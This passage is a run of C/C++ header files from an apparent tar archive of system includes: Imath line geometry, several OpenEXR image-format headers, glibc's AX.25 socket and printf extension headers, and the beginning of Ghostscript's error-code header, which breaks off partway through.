template <class T> inline Vec3<T> Line3<T>::closestPointTo(const Vec3<T>& point) const { return ((point - pos) ^ dir) * dir + pos; } template <class T> inline T Line3<T>::distanceTo(const Line3<T>& line) const { T d = (dir % line.dir) ^ (line.pos - pos); return (d >= 0)? d: -d; } template <class T> inline Vec3<T> Line3<T>::closestPointTo(const Line3<T>& line) const { // Assumes the lines are normalized Vec3<T> posLpos = pos - line.pos ; T c = dir ^ posLpos; T a = line.dir ^ dir; T f = line.dir ^ posLpos ; T num = c - a * f; T denom = a*a - 1; T absDenom = ((denom >= 0)? denom: -denom); if (absDenom < 1) { T absNum = ((num >= 0)? num: -num); if (absNum >= absDenom * limits<T>::max()) return pos; } return pos + dir * (num / denom); } template<class T> std::ostream& operator<< (std::ostream &o, const Line3<T> &line) { return o << "(" << line.pos << ", " << line.dir << ")"; } template<class S, class T> inline Line3<S> operator * (const Line3<S> &line, const Matrix44<T> &M) { return Line3<S>( line.pos * M, (line.pos + line.dir) * M ); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHLINE_H OpenEXR/ImfCompression.h 0000644 00000006401 15246445047 0011146 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_COMPRESSION_H #define INCLUDED_IMF_COMPRESSION_H //----------------------------------------------------------------------------- // // enum Compression // //----------------------------------------------------------------------------- #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER enum Compression { NO_COMPRESSION = 0, // no compression RLE_COMPRESSION = 1, // run length encoding ZIPS_COMPRESSION = 2, // zlib compression, one scan line at a time ZIP_COMPRESSION = 3, // zlib compression, in blocks of 16 scan lines PIZ_COMPRESSION = 4, // piz-based wavelet compression PXR24_COMPRESSION = 5, // lossy 24-bit float compression B44_COMPRESSION = 6, // lossy 4-by-4 pixel block compression, // fixed compression rate B44A_COMPRESSION = 7, // lossy 4-by-4 pixel block compression, // flat fields are compressed more DWAA_COMPRESSION = 8, // lossy DCT based compression, in blocks // of 32 scanlines. More efficient for partial // buffer access. DWAB_COMPRESSION = 9, // lossy DCT based compression, in blocks // of 256 scanlines. More efficient space // wise and faster to decode full frames // than DWAA_COMPRESSION. NUM_COMPRESSION_METHODS // number of different compression methods }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfCompositeDeepScanLine.h 0000644 00000012607 15246445047 0013027 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Weta Digital nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_COMPOSITEDEEPSCANLINE_H #define INCLUDED_IMF_COMPOSITEDEEPSCANLINE_H //----------------------------------------------------------------------------- // // Class to composite deep samples into a frame buffer // Initialise with a deep input part or deep inputfile // (also supports multiple files and parts, and will // composite them together, as long as their sizes and channelmaps agree) // // Then call setFrameBuffer, and readPixels, exactly as for reading // regular scanline images. // // Restrictions - source file(s) must contain at least Z and alpha channels // - if multiple files/parts are provided, sizes must match // - all requested channels will be composited as premultiplied // - only half and float channels can be requested // // This object should not be considered threadsafe // // The default compositing engine will give spurious results with overlapping // volumetric samples - you may derive from DeepCompositing class, override the // sort_pixel() and composite_pixel() functions, and pass an instance to // setCompositing(). // //----------------------------------------------------------------------------- #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" #include <ImathBox.h> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT CompositeDeepScanLine { public: CompositeDeepScanLine(); virtual ~CompositeDeepScanLine(); /// set the source data as a part ///@note all parts must remain valid until after last interaction with DeepComp void addSource(DeepScanLineInputPart * part); /// set the source data as a file ///@note all file must remain valid until after last interaction with DeepComp void addSource(DeepScanLineInputFile * file); ///////////////////////////////////////// // // set the frame buffer for output values // the buffers specified must be large enough // to handle the dataWindow() // ///////////////////////////////////////// void setFrameBuffer(const FrameBuffer & fr); ///////////////////////////////////////// // // retrieve frameBuffer // //////////////////////////////////////// const FrameBuffer & frameBuffer() const; ////////////////////////////////////////////////// // // read scanlines start to end from the source(s) // storing the result in the frame buffer provided // ////////////////////////////////////////////////// void readPixels(int start,int end); int sources() const; // return number of sources ///////////////////////////////////////////////// // // retrieve the datawindow // If multiple parts are specified, this will // be the union of the dataWindow of all parts // //////////////////////////////////////////////// const IMATH_NAMESPACE::Box2i & dataWindow() const; // // override default sorting/compositing operation // (otherwise an instance of the base class will be used) // void setCompositing(DeepCompositing *); struct Data; private : struct Data *_Data; CompositeDeepScanLine(const CompositeDeepScanLine &); // not implemented const CompositeDeepScanLine & operator=(const CompositeDeepScanLine &); // not implemented }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfLineOrderAttribute.h 0000644 00000005263 15246445047 0012421 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_LINE_ORDER_ATTRIBUTE_H #define INCLUDED_IMF_LINE_ORDER_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class LineOrderAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfLineOrder.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::LineOrder> LineOrderAttribute; template <> IMF_EXPORT const char *LineOrderAttribute::staticTypeName (); template <> IMF_EXPORT void LineOrderAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void LineOrderAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfHuf.h 0000644 00000005563 15246445047 0007377 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_HUF_H #define INCLUDED_IMF_HUF_H #include "ImfExport.h" #include "ImfNamespace.h" //----------------------------------------------------------------------------- // // 16-bit Huffman compression and decompression: // // hufCompress (r, nr, c) // // Compresses the contents of array r (of length nr), // stores the compressed data in array c, and returns // the size of the compressed data (in bytes). // // To avoid buffer overflows, the size of array c should // be at least 2 * nr + 65536. // // hufUncompress (c, nc, r, nr) // // Uncompresses the data in array c (with length nc), // and stores the results in array r (with length nr). // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER IMF_EXPORT int hufCompress (const unsigned short raw[/*nRaw*/], int nRaw, char compressed[/*2 * nRaw + 65536*/]); IMF_EXPORT void hufUncompress (const char compressed[/*nCompressed*/], int nCompressed, unsigned short raw[/*nRaw*/], int nRaw); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif netax25/ax25.h 0000644 00000011311 15246445047 0006772 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _NETAX25_AX25_H #define _NETAX25_AX25_H 1 #include <features.h> #include <bits/sockaddr.h> /* Setsockoptions(2) level. Thanks to BSD these must match IPPROTO_xxx. */ #define SOL_AX25 257 /* AX.25 flags: */ #define AX25_WINDOW 1 #define AX25_T1 2 #define AX25_T2 5 #define AX25_T3 4 #define AX25_N2 3 #define AX25_BACKOFF 6 #define AX25_EXTSEQ 7 #define AX25_PIDINCL 8 #define AX25_IDLE 9 #define AX25_PACLEN 10 #define AX25_IPMAXQUEUE 11 #define AX25_IAMDIGI 12 #define AX25_KILL 99 /* AX.25 socket ioctls: */ #define SIOCAX25GETUID (SIOCPROTOPRIVATE) #define SIOCAX25ADDUID (SIOCPROTOPRIVATE+1) #define SIOCAX25DELUID (SIOCPROTOPRIVATE+2) #define SIOCAX25NOUID (SIOCPROTOPRIVATE+3) #define SIOCAX25BPQADDR (SIOCPROTOPRIVATE+4) #define SIOCAX25GETPARMS (SIOCPROTOPRIVATE+5) #define SIOCAX25SETPARMS (SIOCPROTOPRIVATE+6) #define SIOCAX25OPTRT (SIOCPROTOPRIVATE+7) #define SIOCAX25CTLCON (SIOCPROTOPRIVATE+8) #define SIOCAX25GETINFO (SIOCPROTOPRIVATE+9) #define SIOCAX25ADDFWD (SIOCPROTOPRIVATE+10) #define SIOCAX25DELFWD (SIOCPROTOPRIVATE+11) /* unknown: */ #define AX25_NOUID_DEFAULT 0 #define AX25_NOUID_BLOCK 1 #define AX25_SET_RT_IPMODE 2 /* Digipeating flags: */ #define AX25_DIGI_INBAND 0x01 /* Allow digipeating within port */ #define AX25_DIGI_XBAND 0x02 /* Allow digipeating across ports */ /* Maximim number of digipeaters: */ #define AX25_MAX_DIGIS 8 typedef struct { char ax25_call[7]; /* 6 call + SSID (shifted ascii) */ } ax25_address; struct sockaddr_ax25 { sa_family_t sax25_family; ax25_address sax25_call; int sax25_ndigis; }; /* * The sockaddr struct with the digipeater adresses: */ struct full_sockaddr_ax25 { struct sockaddr_ax25 fsa_ax25; ax25_address fsa_digipeater[AX25_MAX_DIGIS]; }; #define sax25_uid sax25_ndigis struct ax25_routes_struct { ax25_address port_addr; ax25_address dest_addr; unsigned char digi_count; ax25_address digi_addr[AX25_MAX_DIGIS]; }; /* The AX.25 ioctl structure: */ struct ax25_ctl_struct { ax25_address port_addr; ax25_address source_addr; ax25_address dest_addr; unsigned int cmd; unsigned long arg; unsigned char digi_count; ax25_address digi_addr[AX25_MAX_DIGIS]; }; struct ax25_info_struct { unsigned int n2, n2count; unsigned int t1, t1timer; unsigned int t2, t2timer; unsigned int t3, t3timer; unsigned int idle, idletimer; unsigned int state; unsigned int rcv_q, snd_q; }; struct ax25_fwd_struct { ax25_address port_from; ax25_address port_to; }; /* AX.25 route structure: */ struct ax25_route_opt_struct { ax25_address port_addr; ax25_address dest_addr; int cmd; int arg; }; /* AX.25 BPQ stuff: */ struct ax25_bpqaddr_struct { char dev[16]; ax25_address addr; }; /* Definitions for the AX.25 `values' fields: */ #define AX25_VALUES_IPDEFMODE 0 /* 'D'=DG 'V'=VC */ #define AX25_VALUES_AXDEFMODE 1 /* 8=Normal 128=Extended Seq Nos */ #define AX25_VALUES_NETROM 2 /* Allow NET/ROM - 0=No 1=Yes */ #define AX25_VALUES_TEXT 3 /* Allow PID=Text - 0=No 1=Yes */ #define AX25_VALUES_BACKOFF 4 /* 'E'=Exponential 'L'=Linear */ #define AX25_VALUES_CONMODE 5 /* Allow connected modes - 0=No 1=Yes */ #define AX25_VALUES_WINDOW 6 /* Default window size for standard AX.25 */ #define AX25_VALUES_EWINDOW 7 /* Default window size for extended AX.25 */ #define AX25_VALUES_T1 8 /* Default T1 timeout value */ #define AX25_VALUES_T2 9 /* Default T2 timeout value */ #define AX25_VALUES_T3 10 /* Default T3 timeout value */ #define AX25_VALUES_N2 11 /* Default N2 value */ #define AX25_VALUES_DIGI 12 /* Digipeat mode */ #define AX25_VALUES_IDLE 13 /* mode vc idle timer */ #define AX25_VALUES_PACLEN 14 /* AX.25 MTU */ #define AX25_VALUES_IPMAXQUEUE 15 /* Maximum number of buffers enqueued */ #define AX25_MAX_VALUES 20 struct ax25_parms_struct { ax25_address port_addr; unsigned short values[AX25_MAX_VALUES]; }; #endif /* netax25/ax25.h */ printf.h 0000644 00000015220 15246445047 0006232 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _PRINTF_H #define _PRINTF_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types/FILE.h> #define __need_size_t #define __need_wchar_t #include <stddef.h> #include <stdarg.h> struct printf_info { int prec; /* Precision. */ int width; /* Width. */ wchar_t spec; /* Format letter. */ unsigned int is_long_double:1;/* L flag. */ unsigned int is_short:1; /* h flag. */ unsigned int is_long:1; /* l flag. */ unsigned int alt:1; /* # flag. */ unsigned int space:1; /* Space flag. */ unsigned int left:1; /* - flag. */ unsigned int showsign:1; /* + flag. */ unsigned int group:1; /* ' flag. */ unsigned int extra:1; /* For special use. */ unsigned int is_char:1; /* hh flag. */ unsigned int wide:1; /* Nonzero for wide character streams. */ unsigned int i18n:1; /* I flag. */ unsigned int is_binary128:1; /* Floating-point argument is ABI-compatible with IEC 60559 binary128. */ unsigned int __pad:3; /* Unused so far. */ unsigned short int user; /* Bits for user-installed modifiers. */ wchar_t pad; /* Padding character. */ }; /* Type of a printf specifier-handler function. STREAM is the FILE on which to write output. INFO gives information about the format specification. ARGS is a vector of pointers to the argument data; the number of pointers will be the number returned by the associated arginfo function for the same INFO. The function should return the number of characters written, or -1 for errors. */ typedef int printf_function (FILE *__stream, const struct printf_info *__info, const void *const *__args); /* Type of a printf specifier-arginfo function. INFO gives information about the format specification. N, ARGTYPES, *SIZE has to contain the size of the parameter for user-defined types, and return value are as for parse_printf_format except that -1 should be returned if the handler cannot handle this case. This allows to partially overwrite the functionality of existing format specifiers. */ typedef int printf_arginfo_size_function (const struct printf_info *__info, size_t __n, int *__argtypes, int *__size); /* Old version of 'printf_arginfo_function' without a SIZE parameter. */ typedef int printf_arginfo_function (const struct printf_info *__info, size_t __n, int *__argtypes); /* Type of a function to get a value of a user-defined from the variable argument list. */ typedef void printf_va_arg_function (void *__mem, va_list *__ap); /* Register FUNC to be called to format SPEC specifiers; ARGINFO must be specified to determine how many arguments a SPEC conversion requires and what their types are. */ extern int register_printf_specifier (int __spec, printf_function __func, printf_arginfo_size_function __arginfo) __THROW; /* Obsolete interface similar to register_printf_specifier. It can only handle basic data types because the ARGINFO callback does not return information on the size of the user-defined type. */ extern int register_printf_function (int __spec, printf_function __func, printf_arginfo_function __arginfo) __THROW __attribute_deprecated__; /* Register a new modifier character sequence. If the call succeeds it returns a positive value representing the bit set in the USER field in 'struct printf_info'. */ extern int register_printf_modifier (const wchar_t *__str) __THROW __wur; /* Register variable argument handler for user type. The return value is to be used in ARGINFO functions to signal the use of the type. */ extern int register_printf_type (printf_va_arg_function __fct) __THROW __wur; /* Parse FMT, and fill in N elements of ARGTYPES with the types needed for the conversions FMT specifies. Returns the number of arguments required by FMT. The ARGINFO function registered with a user-defined format is passed a `struct printf_info' describing the format spec being parsed. A width or precision of INT_MIN means a `*' was used to indicate that the width/precision will come from an arg. The function should fill in the array it is passed with the types of the arguments it wants, and return the number of arguments it wants. */ extern size_t parse_printf_format (const char *__restrict __fmt, size_t __n, int *__restrict __argtypes) __THROW; /* Codes returned by `parse_printf_format' for basic types. These values cover all the standard format specifications. Users can reserve new values after PA_LAST for their own types using 'register_printf_type'. */ enum { /* C type: */ PA_INT, /* int */ PA_CHAR, /* int, cast to char */ PA_WCHAR, /* wide char */ PA_STRING, /* const char *, a '\0'-terminated string */ PA_WSTRING, /* const wchar_t *, wide character string */ PA_POINTER, /* void * */ PA_FLOAT, /* float */ PA_DOUBLE, /* double */ PA_LAST }; /* Flag bits that can be set in a type returned by `parse_printf_format'. */ #define PA_FLAG_MASK 0xff00 #define PA_FLAG_LONG_LONG (1 << 8) #define PA_FLAG_LONG_DOUBLE PA_FLAG_LONG_LONG #define PA_FLAG_LONG (1 << 9) #define PA_FLAG_SHORT (1 << 10) #define PA_FLAG_PTR (1 << 11) /* Function which can be registered as `printf'-handlers. */ /* Print floating point value using using abbreviations for the orders of magnitude used for numbers ('k' for kilo, 'm' for mega etc). If the format specifier is a uppercase character powers of 1000 are used. Otherwise powers of 1024. */ extern int printf_size (FILE *__restrict __fp, const struct printf_info *__info, const void *const *__restrict __args) __THROW; /* This is the appropriate argument information function for `printf_size'. */ extern int printf_size_info (const struct printf_info *__restrict __info, size_t __n, int *__restrict __argtypes) __THROW; #ifdef __LDBL_COMPAT # include <bits/printf-ldbl.h> #endif __END_DECLS #endif /* printf.h */ ghostscript/gserrors.h 0000644 00000033664 15246445047 0011163 0 ustar 00 /* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* Error code definitions */ #ifndef gserrors_INCLUDED # define gserrors_INCLUDED /* A procedure that may return an error always returns */ /* a non-negative value (zero, unless otherwise noted) for success, */ /* or negative for failure. */ /* We don't use a typedef internally to avoid a lot of casting. */ enum gs_error_type { gs_error_ok = 0, gs_error_unknownerror = -1, /* unknown error */ gs_error_dictfull = -2, gs_error_dictstackoverflow = -3, gs_error_dictstackunderflow = -4, gs_error_execstackoverflow = -5, gs_error_interrupt = -6, gs_error_invalidaccess = -7, gs_error_invalidexit = -8, gs_error_invalidfileaccess = -9, gs_error_invalidfont = -10, gs_error_invalidrestore = -11, gs_error_ioerror = -12, gs_error_limitcheck = -13, gs_error_nocurrentpoint = -14, gs_error_rangecheck = -15, gs_error_stackoverflow = -16, gs_error_stackunderflow = -17, gs_error_syntaxerror = -18, gs_error_timeout = -19, gs_error_typecheck = -20, gs_error_undefined = -21, gs_error_undefinedfilename = -22, gs_error_undefinedresult = -23, gs_error_unmatchedmark = -24, gs_error_VMerror = -25, /* must be the last Level 1 error */ /* ------ Additional Level 2 errors (also in DPS, ------ */ gs_error_configurationerror = -26, gs_error_undefinedresource = -27, gs_error_unregistered = -28, gs_error_invalidcontext = -29, /* invalidid is for the NeXT DPS extension. */ gs_error_invalidid = -30, /* ------ Pseudo-errors used internally ------ */ gs_error_hit_detected = -99, gs_error_Fatal = -100, /* * Internal code for the .quit operator. * The real quit code is an integer on the operand stack. * gs_interpret returns this only for a .quit with a zero exit code. */ gs_error_Quit = -101, /* * Internal code for a normal exit from the interpreter. * Do not use outside of interp.c. */ gs_error_InterpreterExit = -102, /* Need the remap color error for high level pattern support */ gs_error_Remap_Color = -103, /* * Internal code to indicate we have underflowed the top block * of the e-stack. */ gs_error_ExecStackUnderflow = -104, /* * Internal code for the vmreclaim operator with a positive operand. * We need to handle this as an error because otherwise the interpreter * won't reload enough of its state when the operator returns. */ gs_error_VMreclaim = -105, /* * Internal code for requesting more input from run_string. */ gs_error_NeedInput = -106, /* * Internal code for a normal exit when usage info is displayed. * This allows Window versions of Ghostscript to pause until * the message can be read. */ gs_error_Info = -110, /* A special 'error', like reamp color above. This is used by a subclassing * device to indicate that it has fully processed a device method, and parent * subclasses should not perform any further action. Currently this is limited * to compositor creation. */ gs_error_handled = -111 }; /* We do provide a typedef type for external API use */ typedef enum gs_error_type gs_error_t; int gs_log_error(int, const char *, int); #if !defined(DEBUG) || defined(GS_THREADSAFE) # define gs_log_error(err, file, line) (err) #endif #ifdef GS_THREADSAFE #define gs_note_error(err) (err) #define return_error(err) return (err) #else #define gs_note_error(err) gs_log_error(err, __FILE__, __LINE__) #define return_error(err) return gs_note_error(err) #endif #if !defined(__STDC_VERSION__) || __STDC_VERSION__ < 199901L # if defined(__GNUC__) && __GNUC__ >= 2 # define __func__ __FUNCTION__ # elif defined(__FUNCTION__) # define __func__ __FUNCTION__ # elif defined(__FUNC__) # define __func__ __FUNC__ # else # define __func__ "<unknown>" # endif #endif /* * Error reporting macros. * */ #ifndef __printflike #if __GNUC__ > 2 || __GNUC__ == 2 && __GNUC_MINOR__ >= 7 #define __printflike(fmtarg, firstvararg) \ __attribute__((__format__ (__printf__, fmtarg, firstvararg))) #else #define __printflike(fmtarg, firstvararg) #endif #endif const char *gs_errstr(int code); #ifdef GS_THREADSAFE /* In threadsafe builds, we just swallow errors unreported */ #define gs_throw_code(code) \ (code) #define gs_throw(code, fmt) \ (code) #define gs_throw1(code, fmt, arg1) \ (code) #define gs_throw2(code, fmt, arg1, arg2) \ (code) #define gs_throw3(code, fmt, arg1, arg2, arg3) \ (code) #define gs_throw4(code, fmt, arg1, arg2, arg3, arg4) \ (code) #define gs_throw5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ (code) #define gs_throw6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ (code) #define gs_throw7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ (code) #define gs_throw8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ (code) #define gs_throw9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ (code) /* Bubble the code up the stack */ #define gs_rethrow_code(code) \ (code) #define gs_rethrow(code, fmt) \ (code) #define gs_rethrow1(code, fmt, arg1) \ (code) #define gs_rethrow2(code, fmt, arg1, arg2) \ (code) #define gs_rethrow3(code, fmt, arg1, arg2, arg3) \ (code) #define gs_rethrow4(code, fmt, arg1, arg2, arg3, arg4) \ (code) #define gs_rethrow5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ (code) #define gs_rethrow6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ (code) #define gs_rethrow7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ (code) #define gs_rethrow8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ (code) #define gs_rethrow9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ (code) /* This will cause trouble, as it implies you are fixing an error * the system will spew messages */ #define gs_catch(code, fmt) \ (code) #define gs_catch1(code, fmt, arg1) \ (code) #define gs_catch2(code, fmt, arg1, arg2) \ (code) #define gs_catch3(code, fmt, arg1, arg2, arg3) \ (code) #define gs_catch4(code, fmt, arg1, arg2, arg3, arg4) \ (code) #define gs_catch5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ (code) #define gs_catch6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ (code) #define gs_catch7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ (code) #define gs_catch8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ (code) #define gs_catch9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ (code) /* gs_warn is a printf */ #define gs_warn(fmt) \ DO_NOTHING #define gs_warn1(fmt, arg1) \ DO_NOTHING #define gs_warn2(fmt, arg1, arg2) \ DO_NOTHING #define gs_warn3(fmt, arg1, arg2, arg3) \ DO_NOTHING #define gs_warn4(fmt, arg1, arg2, arg3, arg4) \ DO_NOTHING #define gs_warn5(fmt, arg1, arg2, arg3, arg4, arg5) \ DO_NOTHING #define gs_warn6(fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ DO_NOTHING #define gs_warn7(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ DO_NOTHING #define gs_warn8(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ 